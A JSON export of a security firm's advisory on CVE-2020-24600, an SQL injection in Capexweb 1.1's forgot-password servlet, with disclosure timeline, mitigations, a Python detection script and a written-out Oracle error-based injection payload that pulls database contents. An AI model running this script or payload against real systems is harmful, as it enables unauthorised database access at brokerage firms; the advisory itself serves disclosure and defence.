{"id":7586,"date":"2020-11-27T21:25:18","date_gmt":"2020-11-28T04:25:18","guid":{"rendered":"https:\/\/webdev.securin.xyz\/?p=7586"},"modified":"2023-04-05T12:42:39","modified_gmt":"2023-04-05T19:42:39","slug":"how-to-detect-cve-2020-24600","status":"publish","type":"post","link":"https:\/\/10.42.32.162\/articles\/how-to-detect-cve-2020-24600\/","title":{"rendered":"How to Detect CVE- 2020-24600?"},"content":{"rendered":"

A new zero-day vulnerability, CVE-2020-24600<\/strong>, was discovered by Cyber Security Works<\/strong> in Shilpi\u00a0– Capexweb 1.1\u00a0a multiexchange BackOffice Solution for Capital and Derivative Market brokers in India.<\/span><\/span><\/p>\n

This vulnerability was discovered in our research lab on July 01, 2020. Our team has also released a script to detect this vulnerability.<\/span><\/span><\/p>\n

<\/a>You can use the following script to detect this vulnerability –<\/a><\/span><\/span><\/p>\n

\n

 <\/p>\n

<\/a>import os<\/p>\n

<\/a>import sys<\/p>\n

<\/a>import urllib<\/p>\n

<\/a>from urllib import error<\/p>\n

<\/a>from urllib import request<\/p>\n

<\/a>import ssl<\/p>\n

<\/a>from lxml import html<\/p>\n

<\/a><\/a><\/a><\/p>\n

<\/a># Ignore SSL certificate errors<\/p>\n

<\/a>ctx = ssl.create_default_context()<\/p>\n

<\/a>ctx.check_hostname = False<\/p>\n

<\/a>ctx.verify_mode = ssl.CERT_NONE<\/p>\n

<\/a><\/a><\/a><\/p>\n

<\/a>def main():<\/p>\n

<\/a>\u00a0\u00a0\u00a0 if(len(sys.argv) <= 1):<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(“Usage: python capexweb.py <hostname> <port>”)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return<\/p>\n

<\/a>\u00a0\u00a0\u00a0 host = sys.argv[1]<\/p>\n

<\/a>\u00a0\u00a0\u00a0 #default port 443<\/p>\n

<\/a>\u00a0\u00a0\u00a0 port = “443”<\/p>\n

<\/a>\u00a0\u00a0\u00a0 #initializing port<\/p>\n

<\/a>\u00a0\u00a0\u00a0 if(sys.argv[2] != “”):<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 port = sys.argv[2]<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0 #default path<\/p>\n

<\/a>\u00a0\u00a0\u00a0 path = “\/capexweb”<\/p>\n

<\/a>\u00a0\u00a0\u00a0 URL = “https:\/\/” + host + “:” + port + path<\/p>\n

<\/a>\u00a0\u00a0\u00a0 loginformURI = “\/capexweb\/capexmain_middle.htm”<\/p>\n

<\/a>\u00a0\u00a0\u00a0 try:<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #Request to fetch login form parameters<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 response = urllib.request.urlopen(URL + loginformURI, context=ctx)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 tree = html.fromstring(response.read())<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 form = tree.find(‘.\/\/form’)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 action = form.action<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params = {}<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params[“dfuserid”] = “admin”<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params[“dfpassword”] = “password”<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params[“dfcode”] = tree.find(‘.\/\/input[@name=”dfcode”]’).value<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params[“dfparentdb”] = tree.find(‘.\/\/input[@name=”dfparentdb”]’).value<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params[“dfparentip”] = tree.find(‘.\/\/input[@name=”dfparentip”]’).value<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params[“dfinstaldrive”] = tree.find(‘.\/\/input[@name=”dfinstaldrive”]’).value<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params[“B1″] = tree.find(‘.\/\/input[@name=”B1”]’).value<\/p>\n

<\/a><\/a><\/a><\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #Submission of login request and capturing the session-id<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 loginURL = URL + action.replace(“..”,””)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 loginargs = urllib.parse.urlencode(params)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 params = bytes(loginargs, “utf-8”)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 req = urllib.request.Request(loginURL, params)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 response = urllib.request.urlopen(req, context=ctx)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 cookie = response.info()[“Set-Cookie”].split(“;”)[0]<\/p>\n

<\/a><\/a><\/a><\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #Sending request to get forgotpassword mail along with the captured session-id<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 forgotURI = “\/servlet\/capexweb.cap_sendMail?dfuserid=admin’&dfpanno=&dfsendmode=EMAIL&x=28&y=14&dfcaller=Actual”<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 forgotURL = URL + forgotURI<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 req = urllib.request.Request(forgotURL)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 req.add_header(“Cookie”, cookie)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 response = urllib.request.urlopen(req, context=ctx)<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 response = str(response.read())<\/p>\n

<\/a><\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if “ORA-01756” in response:<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(“The {0} is vulnerable”.format(URL))<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 else:<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(“The {0} is not vulnerable”.format(URL))<\/p>\n

<\/a>\u00a0\u00a0\u00a0 except urllib.error.URLError as e:<\/p>\n

<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(e.reason())<\/p>\n

<\/a>if __name__ == “__main__”:<\/p>\n

<\/a>\u00a0\u00a0\u00a0 main()<\/p>\n<\/div>\n

 <\/p>\n

Impact <\/strong><\/span><\/span><\/h3>\n

As of today,1390 trading companies use this software as their backend and if this vulnerability is exploited successfully, it may result in unauthorized users\u2019 access to the database and result in a data breach. The vulnerability can potentially enable threat actors to disrupt trade as they move laterally within the network and cause a huge impact on the economy.<\/span><\/span><\/h3>\n

Detection<\/strong><\/span><\/span><\/p>\n

CVE-2020-24600 was detected manually. The GET<\/strong> request parameters in servlet \/capexweb.cap_send mail is vulnerable to SQL Injection.<\/span><\/span><\/p>\n

Disclosure<\/strong><\/span><\/span><\/p>\n

The vulnerability was disclosed to Shilpi\u00a0on July 01, 2020.<\/span><\/span><\/p>\n

Timeline<\/strong><\/span><\/span><\/p>\n\n\n\n\n\n\n\n\n
\n

Date<\/strong><\/span><\/span><\/p>\n<\/td>\n

\n

Description<\/strong><\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\u00a0July 01, 2020<\/span><\/span><\/td>\n\n

Discovered in our research lab<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\u00a0July 17, 2020<\/span><\/span><\/td>\n\n

Followed up with the Vendor<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\u00a0July 29, 2020<\/span><\/span><\/td>\n\n

Followed up with the Vendor<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

October 7, 2020<\/span><\/span><\/td>\n\u00a0 \u00a0 \u00a0 \u00a0Informed CERT-in about the vulnerability<\/span><\/span><\/td>\n<\/tr>\n
November 27, 2020<\/span><\/span><\/td>\n\u00a0 \u00a0 \u00a0 \u00a0CERT-in confirmed the vulnerability fix<\/span><\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

 <\/p>\n

Incident Analysis<\/strong><\/span><\/span><\/h3>\n

The CVE-2020-24600 allows an adversary to initiate a SQL injection to access the contents of the database. As per the Google dork results (\/capexweb\/capexweb), currently, 1390 trading companies use this software.<\/span><\/span><\/p>\n\n\n\n\n
\n

Vendor<\/strong><\/span><\/span><\/p>\n<\/td>\n

\n

Product<\/strong><\/span><\/span><\/p>\n<\/td>\n

\n

Versions<\/strong><\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\n

Shilpi<\/span><\/span><\/p>\n<\/td>\n

\n

Capexweb<\/span><\/span><\/p>\n<\/td>\n

\n

Capexweb 1.1<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

<\/h3>\n

Vulnerability Analysis<\/strong><\/span><\/span><\/h3>\n

The send mail functionality in forgot password is vulnerable to SQL injection. An adversary can access the contents of the database.<\/span><\/span><\/h3>\n

Proof of Concept<\/strong><\/span><\/span><\/h3>\n

Product<\/strong>: \u00a0CAPExWeb (A multiexchange BackOffice Solution for Capital and Derivative Market brokers in India)<\/span><\/span><\/p>\n

Product<\/strong> version<\/strong>: Capexweb 1.1<\/span><\/span><\/p>\n

Vulnerable URL<\/strong>: http:\/\/www.shilpisoft.com\/sunil\/corporate.zip<\/a><\/span><\/span><\/p>\n

Severity rating<\/strong>: High<\/span><\/span><\/p>\n

CVSS V3 Score<\/strong>: 8.6<\/span><\/span><\/p>\n

Steps to reproduce:<\/strong><\/span><\/span><\/h3>\n

Step<\/strong> 1<\/strong>: Visit the \/capexweb\/capexweb <\/em><\/strong>URL on the server where the capexweb<\/em><\/strong> client is installed.<\/span><\/span><\/p>\n

Step 2<\/strong>: Now, fill the login form with invalid credentials and click Submit<\/em><\/strong>.<\/span><\/span><\/p>\n

\"\"<\/span><\/span><\/p>\n

Figure 1<\/strong>: Login form with invalid credentials.<\/span><\/span><\/p>\n

\"\"<\/span><\/span><\/h3>\n

Figure 2:<\/strong> Response shows the credentials are invalid.<\/span><\/span><\/p>\n

Note:<\/strong> We cannot navigate to the capforgotpassword.jsp<\/em><\/strong> directly. As the application takes the user id from the previously submitted request.<\/span><\/span><\/p>\n

\"\"<\/span><\/span><\/p>\n

Figure 3:<\/strong> Forgot password page with user-id value submitted in login page. Now, click on the Send Request<\/em><\/strong> button, and you will receive a Response<\/em><\/strong> from the server for an invalid user id.<\/span><\/span><\/p>\n

\"\"<\/span><\/span><\/p>\n

Figure 4:<\/strong> Replay of forgot password page with user-id value contains a single quote returns ORA string not properly terminated error message from the database.<\/span><\/span><\/p>\n

\"\"<\/span><\/span><\/p>\n

Figure 5:<\/strong> The payload XORXX\u2019))<\/strong> or%201=ctxsys.drithsx.sn (1, (select%20sys.stragg(distinct%20banner) %20from%20v$version)) —<\/strong> in request to retrieve the data from the database in error information.<\/span><\/span><\/p>\n

\"\"<\/span><\/span><\/p>\n

Figure 6:<\/strong> The available databases in the Oracle database server.<\/span><\/span><\/p>\n

Mitigation<\/strong><\/span><\/span><\/h3>\n

We recommend the following fixes for this vulnerability.<\/span><\/span><\/p>\n

    \n
  • Implement input validation for special characters in request parameters before passing to the database for processing.<\/span><\/span><\/li>\n
  • Show a custom error message to restrict the users to see the cause for error at the server end.<\/span><\/span><\/li>\n<\/ul>\n

    Recommendation<\/strong><\/span><\/span><\/h3>\n

    We recommend that the vulnerability should be fixed as the severity rating is high and seeks immediate attention. As a workaround, we recommend the trading companies to restrict access to the URLs (\/capexweb\/servlet\/capexweb.cap_sendMail).<\/span><\/span><\/h3>\n","protected":false},"excerpt":{"rendered":"

    A new zero-day vulnerability, CVE-2020-24600, was discovered by Cyber Security Works in Shilpi – Capexweb 1.1.<\/p>\n","protected":false},"author":20,"featured_media":7587,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"content-type":""},"categories":[82,80,123,154],"tags":[347,348,139,149],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/posts\/7586"}],"collection":[{"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/comments?post=7586"}],"version-history":[{"count":3,"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/posts\/7586\/revisions"}],"predecessor-version":[{"id":12253,"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/posts\/7586\/revisions\/12253"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/media\/7587"}],"wp:attachment":[{"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/media?parent=7586"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/categories?post=7586"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/10.42.32.162\/wp-json\/wp\/v2\/tags?post=7586"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}

Step<\/strong> 3<\/strong>: <\/a>From error response, click on the \u201cForgot My Userid or Password<\/em><\/strong>\u201d link. <\/span><\/span><\/p>\n